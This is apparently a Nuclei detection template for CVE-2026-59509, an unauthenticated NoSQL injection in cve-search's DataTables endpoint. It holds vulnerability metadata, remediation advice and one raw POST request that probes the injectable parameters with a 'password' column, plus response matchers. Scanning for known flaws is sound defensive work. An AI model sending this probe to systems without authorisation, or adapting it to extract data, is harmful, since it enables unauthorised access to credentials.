cve-search versions 4.0 through 6.0.0 expose an unauthenticated DataTables endpoint that accepts attacker-controlled MongoDB collection, projection, filtering, and pagination parameters. This detector uses a harmless invalid projection field against the intended cves collection; version 6.0.1 rejects that field.
PoC代码[已公开]
id: CVE-2026-59509
info:
name: cve-search 4.0-6.0.0 - Unauthenticated NoSQL Injection
author: str4k3r
severity: critical
description: |
cve-search versions 4.0 through 6.0.0 expose an unauthenticated DataTables endpoint that accepts attacker-controlled MongoDB collection, projection, filtering, and pagination parameters. This detector uses a harmless invalid projection field against the intended cves collection; version 6.0.1 rejects that field.
impact: |
An unauthenticated network attacker can read unintended MongoDB data, including administrative usernames and password hashes when local authentication is enabled, by controlling DataTables query parameters.
remediation: |
Upgrade cve-search to v6.0.1 or later.
reference:
- https://github.com/cve-search/cve-search/issues/1217
- https://github.com/cve-search/cve-search/pull/1218
- https://nvd.nist.gov/vuln/detail/CVE-2026-59509
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
cvss-score: 9.2
cve-id: CVE-2026-59509
cwe-id: CWE-20
metadata:
verified: true
max-request: 1
vendor: cve-search
product: cve-search
tags: cve,cve2026,cve-search,mongodb,nosql-injection,unauth
http:
- raw:
- |
POST /fetch_cve_data HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
draw=1&start=0&length=1&retrieve=cves&search%5Bvalue%5D=&search%5Bregex%5D=false&columns%5B0%5D%5Bdata%5D=password&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=false&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false
matchers:
- type: dsl
dsl:
- 'contains_all(body, "\"recordsTotal\"","\"data\"")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022018d5392c108dff9bc85ee197efcc8ef963db28314ae95d96c18a0f3445c8324e0221009ab436bd0da8a116733a0b30f29abb4f799a7ec70a9c32ec16c08accaf0ff81a:922c64590222798bb761d5b6d8e72950